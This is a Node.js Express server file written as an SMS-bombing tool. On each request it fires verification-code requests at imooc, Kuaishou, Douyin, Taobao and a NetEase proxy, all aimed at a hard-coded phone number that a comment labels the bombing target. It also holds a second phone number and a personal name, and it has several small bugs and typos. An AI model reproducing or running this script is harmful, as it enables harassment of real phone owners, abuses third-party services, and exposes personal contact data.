const express = require("express");
const cors = require("cors");
const axios = require("axios");

const app = express();

// 解决跨域问题
app.use(cors());

app.post("/mkw", (resquest, response) => {
  let phone = 13688220845;
  console.log("轰炸对象：", phone);
  // 1.慕课网
  axios({
    method: "POST",
    url: "https://www.imooc.com/passport/user/getphonelogincode",
    params: {
      phone: phone,
      typecode: "0",
      type: "0",
    },
  }).then(
    (res) => {
      console.log("慕课网获取成功！", res.data);
    },
    (error) => {
      comsole.log("获取失败!", error);
    }
  );
  // 2.网易云音乐
  axios({
    method: "GET",
    url: `http://www.codeman.ink/api/captcha/sent?phone=${phone}`,
  }).then((res) => {
    console.log("网易云获取成功！", res.data);
  });

  // 3.快手
  axios({
    method: "POST",
    url: "https://id.kuaishou.com/pass/kuaishou/sms/requestMobileCode",
    data: {
      sid: "kuaishou.server.web",
      type: 53,
      countryCode: +86,
      phone: phone,
    },
  }).then((res) => {
    console.log("快手获取成功！", res.data);
  });

  // 4.抖音
  axios({
    method: "POST",
    url: "https://sso.douyin.com/send_activation_code/v2/?device_platform=web_app&aid=6383&account_sdk_source=sso&sdk_version=2.2.5&language=zh&verifyFp=verify_lfcmw0hh_4Aw5ZAJq_H0xO_4Jns_82mW_HqfQV46Ffuxh&fp=verify_lfcmw0hh_4Aw5ZAJq_H0xO_4Jns_82mW_HqfQV46Ffuxh&msToken=Wf8NumGv10TJXva3lc4WBumFyaOFitRMgmz9zNnoMEce9tDddIfTzJASFwLIsw7pOM3N5Z9i7Y0f_bH51YlaQ_4Y62FDn9USpDfmTHA2cUR-oKzthTVmK_BueUaxqiA=&X-Bogus=DFSzswVuxFGwKWMWtcdSFcppgimE",
    data: {
      mix_mode: 1,
      mobile: phone,
      type: 3731,
      is6Digits: 1,
      fixed_mix_mode: 1,
    },
  }).then((res) => {
    console.log("抖音获取成功！", res.data);
  });

  // 5.木疙瘩
  axios({
    method: "POST",
    url: `https://login.taobao.com/newlogin/sms/send.do?appName=taobao&fromSite=0&_bx-v=2.2.3`,
    data: {
      loginId: 15719172394,
      phoneCode: 86,
      countryCode: "CN",
      codeLength: 6,
    },
  }).then((res) => {
    console.log("boss获取成功！", res.data);
  });

  response.send({
    id: 1,
    name: "张向阳",
    age: "男",
    hobby: ["运动", "打篮球", "写代码"],
  });
});

app.listen(5055, () => {
  console.log("server success open in http://127.0.0.1:6000");
});
